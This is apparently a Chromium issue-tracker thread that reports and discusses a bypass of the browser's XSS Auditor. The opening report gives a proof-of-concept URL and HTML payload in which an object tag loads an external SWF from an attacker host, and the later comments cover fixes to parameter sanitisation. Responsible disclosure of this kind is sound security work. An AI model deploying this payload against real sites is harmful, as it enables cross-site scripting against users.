XSS Auditor bypass using object tag and url parameter
Reported by
masatoki...@gmail.com,
Dec 26 2016
|
||||||||
Issue descriptionI'd like to report an XSS Auditor bypass bug. PoC is here: http://vulnerabledoma.in/char_test?body=%3Cobject+allowscriptaccess=always%3E%3Cparam+name=url+value=https://l0.cm/xss.swf%3E <object allowscriptaccess="always"> <param name="url" value="https://attacker/xss.swf"> Could you confirm this bug? Thanks! VERSION Version 57.0.2962.0 (Official Build) canary (64 bit)
,
Dec 27 2016
Thanks for the report. Tom, could you take a look when you get a chance?
,
Jan 3 2017
Looks like there are few more <param> cases to cover. Thanks for the report.
,
Jan 3 2017
I'm also going to filter the allowscriptaccess attribute in <object>, just because, even though there's enough malice that can be accomplished even without it.
,
Jan 3 2017
https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLParamElement.cpp?rcl=1483446215&l=48 is where we decide which name=xxx parameters are candiates for sanitization.
,
Jan 3 2017
https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLObjectElement.cpp?rcl=1483446215&l=172 has its own ideas about URL parameters. Mike, should we unify the two? Have a suggestion about who else might weigh in on param element behaviour?
,
Jan 3 2017
Mike: |allowscriptaccessAttr| token doesn't exist, can we add this to whatever IDL generates these?
,
Jan 3 2017
Bouncing to mike to get some answers. Pls re-assign to me afterwards.
,
Feb 23 2017
,
Feb 24 2017
I missed this, apologies: 1. I don't think we handle `allowscriptaccess` in Blink today; we just hand all the params over to the plugin and let it figure out what it ought to be doing with them. Feel free to add it to `Source/core/html/HTMLAttributeNames.json5`. 2. I think unifying the URL parameter behavior makes sense. Do you have a concrete suggestion for doing so?
,
Nov 10 2017
,
Nov 10 2017
Oddly enough, this came in again recently. Doing the uncool thing of duping the old into the new, because that's where the work is happening. |
||||||||
►
Sign in to add a comment |
||||||||
Comment 1 by masatoki...@gmail.com
, Dec 26 2016